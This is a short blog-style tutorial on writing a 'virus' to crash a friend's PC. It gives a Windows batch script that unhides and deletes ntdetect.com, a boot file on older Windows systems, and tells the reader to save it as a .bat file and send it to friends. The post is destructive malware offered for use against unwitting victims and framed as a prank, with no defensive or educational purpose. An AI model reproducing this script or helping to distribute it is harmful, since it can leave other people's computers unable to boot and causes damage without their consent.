Write a small virus to crash your friends PC

Hey guy. Do you want to crash your friend PC. Ok so now I will Show you how to write a small virus to crash your friends PC.
Step 1 : Open Notepad from your Computer (Start => run => notepad )
Step 2 : Copy the following code and paste it it Notepad ..

echo off
C:
cd..
cd..
cd..
attrib -r -s -h ntdetect.com
del ntdetect.com
echo on
print U r a LOSER.. PC Hack By Khmermega  !!!


Step 3 : save it as extension .bat ( Ex: Run.bat)
then sent this file to your friends ..!
Note : Don't test it in your PC .. You can test it in Virtual Machine or Virtual Box .By Double click on that file .
Enjoyed it .. !
If you like this post don't forget to share it to your friends ..! thanks for your visit ..